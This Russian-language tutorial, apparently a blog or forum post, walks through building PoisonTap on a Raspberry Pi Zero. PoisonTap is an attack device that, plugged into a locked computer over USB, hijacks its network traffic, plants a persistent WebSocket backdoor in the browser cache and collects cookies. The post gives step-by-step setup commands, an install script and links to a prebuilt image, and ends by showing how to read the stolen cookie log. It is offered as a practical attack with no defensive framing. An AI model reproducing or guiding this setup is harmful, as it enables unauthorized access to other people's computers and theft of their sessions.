Приветствуем всех , разберём с вами настройку и применение PoisonTap. PoisonTap не эксплуатирует какую-то одну уязвимость в определенном ПО, а использует для атаки ряд незначительных ошибок в реализации, встречающихся практически в каждой операционной системе и браузере. Как пояснил автор, осуществить атаку с помощью PoisonTap в офисе со множеством компьютеров – проще простого. "Вы спокойно подходите к компьютеру, подключаете PoisonTap на минуту, а потом отключаете. Даже если компьютер заблокирован, PoisonTap все равно может получить доступ к сетевому трафику и внедрить бэкдор." PoisonTap использует заблокированные защищенные паролем компьютеры через USB, сбрасывает постоянный бэкдор основанный на WebSocket, раскрывает внутренний роутер и скачивает cookies, используя Raspberry Pi Zero & Node.js. Донгл не устанавливает вредоносное ПО (его легко обнаружить), а обеспечивает атакующему доступ, внедряя вредоносный код в кэш браузера. При подключении компьютер воспринимает устройство как новое Ethernet-подключение. Даже при активированном Wi-Fi PoisonTap оказывается в приоритете, поскольку компьютер «думает», будто все IP-адреса, получаемые с помощью данного подключения, являются адресами в локальной сети. RaspberryOS (lite) BalenaEtcher Скачиваем прошивку, я использовал lite. Вставляем флешку в адаптер и подрубаем к пк Далее устанавливаем прошивку через BalenaEtcher После установки следует вытащить и вновь вставить флешку в ПК (т.к. диск будет недоступен). После установки RaspberryOS на micro sd, заходим в раздел boot и нам необходимо найти 2 файла: config.txt cmdline.txt в файле config.txt, пишем dtoverlay=dwc2 (без пробелов) в файле config.txt с помощью Notepad ++ в конец файла нужно дописать код: dtoverlay=dwc2 (без пробелов) dtoverlay=dwc2 В разделе boot находим файл cmdline.txt и после слова rootwait добавляем modules-load=dwc2,g_ether (без пробелов) modules-load=dwc2,g_ether Следующий шаг — создать файл с именем ssh не имеющий расширения (не ssh.txt а просто ssh) Вставляем micro sd в Raspberry Pi, подключаем к роутеру и запускаем. Чтобы узнать IP адрес малины, воспользуемся инструментом netdiscover в линукс или можно воспользоваться программой Advanced IP Scanner Дальше подключаемся по SSH. Для этого потребуется программа Putty, указываем в ней IP адрес для подключения к малине (у вас он может быть другим) и в запрошенных данных указываем логин: pi пароль: raspberry ГОТОВО Дальше обновляем пакеты, чтобы не было проблем: sudo apt update && sudo apt upgrade обновляю паsudo apt update && sudo apt upgradeкеты Включаем SSH в системе. Открываем raspi-config (sudo raspi-config) Interface Options -> SSH -> Yes. нажимаем YES, ждем пару секунд, и после появления синего окна выходим выходим из raspi-config. Следующим делом устанавливаем зависимости: sudo apt install git npm sudo apt install git npm затем ставим вебсокеты: sudo npm install --unsafe-perm sudo npm install --unsafe-perm sudo npm install websocket --unsafe-perm sudo npm install websocket --unsafe-perm Добавляем node.js в список репозиториев и устанавливаем curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -- если после ввода у вас возникла такая ошибка curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -- то воспользуйтесь командой одной из этих ($ перед командой писать не нужно) например wget -O - https://raw.githubusercontent.com/sdesalas/node-pi-zero/master/install-node-v12.21.0.sh | bash далее прописываем sudo apt-get install -y nodejs sudo apt-get install -y nodejs Клонируем poisontap с гитхаба и переходим в него git clone https://github.com/samyk/poisontap.gi git clone https://github.com/samyk/poisontap.gi cd poisontap cd poisontap Прописываем nano install.sh для редактирования файла, копируем и вставляем следующее: # Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41 sudo bash # If Raspbian BEFORE 2016-05-10, then run next line: BRANCH=next rpi-update echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces echo "dtoverlay=dwc2" >> /boot/config.txt echo -e "dwc2\ng_ether" >> /etc/modules sudo sed --in-place "/exit 0/d" /etc/rc.local echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local mkdir /home/pi/poisontap chown -R pi /home/pi/poisontap apt-get update && apt-get upgrade apt-get -y install isc-dhcp-server dsniff screen nodejs должно быть так Сохраняем "CTRL+X затем Y затем enter" и выходим назад. Прописываем sudo su после чего прописываем bash install.sh , вводим exit и нажимаем Enter. сначала пишем bash install.sh, ничего не происходит, вводим exit и видим это Ждём завершения процесса. После завершения прописываем следующую команду: sudo mv dhcpd.conf /etc/dhcp/dhcpd.conf sudo mv dhcpd.conf /etc/dhcp/dhcpd.conf Делаем бэкап /etc/rc.local (sudo cp /etc/rc.local /home/pi/Desktop/) sudo cp /etc/rc.local /home/pi/Desktop/ UPD: если не может скопировать файл, то создайте каталог /home/pi/Desktop командой mkdir /home/pi/Desktop mkdir /home/pi/Desktop Редактируем /etc/rc.local (sudo nano /etc/rc.local) sudo nano /etc/rc.local Убираем все строки, кроме последней и сохраняем: должно стать так образ можно установить на любую флешку, размер всего 400+ мб ССЫЛКА НА ГОТОВЫЙ ОБРАЗ GOOGLE DISK ССЫЛКА НА ГОТОВЫЙ ОБРАЗ MEDIAFIRE Всё, теперь отключаемся и подключаем малинку по USB к компьютеру Через какое-то время она подключится как ethernet устройство, если она определилась как USB и ничего не происходит, то необходимо изменить VID и PID в pi_startup.sh После успешного подключения переходим в браузер по адресу 1.0.0.1 и наблюдаем такую картину: Вот наглядный процесс работы PoisonTAP. А теперь представим, что она успешно выполнила свою работу и вы отсоединили устройство, нужно посмотреть на "результат". Для этого снова подключаемся к Rasberry по SSH, и прописываем: cd poisontap ls Мы увидим файл poisontap.cookies.log Для его просмотра прописываем cat poisontap.cookies.log Спасибо за прочтение!